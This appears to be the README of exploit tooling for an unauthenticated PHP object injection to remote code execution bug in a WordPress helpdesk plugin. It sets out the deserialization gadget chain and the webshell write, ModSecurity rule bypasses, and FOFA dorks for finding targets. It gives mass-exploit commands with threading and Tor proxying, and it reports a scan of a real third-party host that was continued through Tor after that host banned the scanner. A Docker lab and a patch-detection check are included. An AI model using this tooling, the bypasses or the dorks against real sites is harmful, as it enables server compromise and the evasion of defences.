
PoC and exploit tooling for CVE-2026-119077: unauthenticated PHP object injection to RCE in ELEX HelpDesk, with ModSecurity CRS bypass, FOFA dorks, and a Docker lab.
Unauthenticated PHP Object Injection → Remote Code Execution
A single anonymous GET (to harvest the nonce) plus a single anonymous POST reaches
file_put_contents() through an unserialization sink and writes an attacker-controlled
PHP file into wp-content/uploads/ → webshell.
elex-helpdesk-customer-support-ticket-system ≤ 3.3.9eh_crm_has_object_or_serialized_object() /
eh_crm_safe_unserialize() in front of 26 sinksadmin-ajax.php?action=eh_crm_new_ticket_post is registered with
wp_ajax_nopriv_ (includes/class-crm-init-handler.php:51), so anonymous users reach
CRM_Ajax_Two::eh_crm_new_ticket_post(). The handler contains the CSRF nonce publicly
(support_object JS object on any page rendering [wsdesk_support]), parses form with
parse_str(), stores allowlisted field values as ticket meta, then the auto-email path
calls eh_crm_get_ticketmeta() → unserialize() without allowed_classes
(includes/class-crm-public-functions.php:875). A serialized
GuzzleHttp\Cookie\FileCookieJar (bundled in the plugin's own vendor/) is rebuilt and its
__destruct() → save() → file_put_contents() writes the payload.
Guzzle writes a JSON array wrapper, but PHP executes any <?php ?> block inside a file
regardless of surrounding text — so the written file is a working webshell. The PHP payload
therefore must not contain a double quote.
The injection key must be an allowlisted custom-field slug (wsdesk_settings.type='field').
In 3.3.9 the three default slugs are unset() and removed by the allowlist — a clean 3.3.9
install with only default fields is NOT exploitable. (The ticket_label key that some
advisories name only works on 3.3.8, which has no allowlist.) Custom-field slugs are
discoverable unauthenticated via action=eh_crm_new_ticket_form.
python3 poc.py # interactive menu (default entry point)
python3 poc.py -u https://target --exploit # single target
python3 poc.py -l targets.txt --exploit --threads 20
python3 poc.py -u https://target --exploit --waf # force the WAF-bypass strategy
python3 poc.py with no arguments opens the operator menu:
1 single scan · 2 single exploit · 3 mass scan · 4 mass exploit · 0 exit.
The 3.4.0 fix runs its object guard over every parsed form value, before the custom-field allowlist. So one POST with a throwaway key distinguishes the builds:
| Response | Meaning |
|---|---|
{"status":"error","message":"Invalid form data."} | PATCHED (≥3.4.0) |
{"status":"success",...} | vulnerable (guard absent) |
poc.py runs this as BuildGuardStage right after nonce discovery, so a fixed target is
reported [PATCHED] rather than a misleading ASSUMED. tools_verify_hits.py uses the
same oracle.
Measured against owasp/modsecurity-crs:apache (CRS 4.30.0, paranoia 1, inbound threshold 5).
The plain payload fires three independent rules — each scores 5 = the threshold, so the score
cannot be split; every trigger must be removed:
| Rule | Trigger | Bypass |
|---|---|---|
920270 | literal NUL in private-property names | serialize in PHP S: escape form (\00 on the wire; unserialize() still rebuilds NUL) — requires PHP ≥ 7.0 |
930120 | phrase var/www | relative write path ../wp-content/uploads/x.php (resolved against the handler CWD) |
933130 | phrase $_GET | PHP body with no superglobal literal: passthru(base64_decode('aWQ=')) |
_write_shell_waf runs automatically when the plain strategy is rejected (--waf forces it
first). Result through the WAF: HTTP 200, then uid=33(www-data) fetched from the same
WAF-fronted origin, 3/3 stable. The 3.4.0 guard rejects this payload too, so the bypass does
not resurrect the bug on patched builds.
DORKS.md holds fingerprints verified against real rendered HTML:
/wp-content/plugins/elex-helpdesk-customer-support-ticket-system/, support_object
(the nonce loader), crm_support.js, wsdesk_bootstrap. Pair a plugin-presence dork with
tools_verify_hits.py, which ranks hosts by the real prerequisites
(EXPLOITABLE-SHAPE / NO-FIELD / PATCHED / NO-SIGNAL) instead of trusting a hit.
python3 tools_verify_hits.py -l hits.txt # rank
python3 tools_verify_hits.py -l hits.txt --exploit # rank + exploit
python3 tools_verify_hits.py -l hits.txt --proxy socks5h://127.0.0.1:9050
The plugin builds are not committed. lab/setup-plugins.sh downloads the two official
zips from downloads.wordpress.org (3.3.9 vulnerable / 3.4.0 patched).
./lab/setup-plugins.sh
docker compose -f lab/docker-compose.yml up -d # WordPress on 127.0.0.1:8137
docker compose -f lab/docker-compose.yml up -d waf # + ModSecurity on 127.0.0.1:8187
# then install WP + activate the plugin + create a [wsdesk_support] page + one custom field
To exercise the negative control, switch the compose volume from ./plugins/vuln to
./plugins/patched — the tool must then report [PATCHED].
poc.py main tool (menu-first, threading, honest tags, results.jsonl + success.txt)
wsdesk_payload.py FileCookieJar gadget generator (standard + S-format/WAF variant)
tools_verify_hits.py FOFA hit verifier / ranker (build oracle, slug oracle, --proxy)
DORKS.md verified FOFA fingerprints + tiered dorks
CVE-2026-119077-report.md full report
analysis/ intel, root-cause, chain (failure modes), self-attack, live run, evidence
lab/ docker-compose.yml + setup-plugins.sh (plugins fetched, not committed)
POST /wp-admin/admin-ajax.php action=eh_crm_new_ticket_post → 200
GET /wp-content/uploads/<rand>.php?a=id
[{"Expires":1,"Discard":false,"Value":"uid=33(www-data) gid=33(www-data) groups=33(www-data)"}]
Reproduced 3/3 direct and 3/3 through the ModSecurity WAF. See analysis/rce-*.txt.
analysis/live-run-2026-11-13.md — a real WSDesk install (WordPress 7.1.4, plugin assets
present, nonce published publicly) returned {"status":"error","message":"Invalid form data."}
for the oracle and {"status":"success",...} for a benign request → PATCHED (≥3.4.0),
no RCE. That host IP-banned the scanner after ~15 serialized POSTs (TLS handshake succeeded,
connection closed with no HTTP response, port still open) — the run was completed through a
Tor SOCKS exit. Prefer the single-request build oracle over slug brute force.
For authorized security testing and research only. The lab is self-contained; only test systems you own or have explicit permission to assess.
Research and tooling: 0xfay.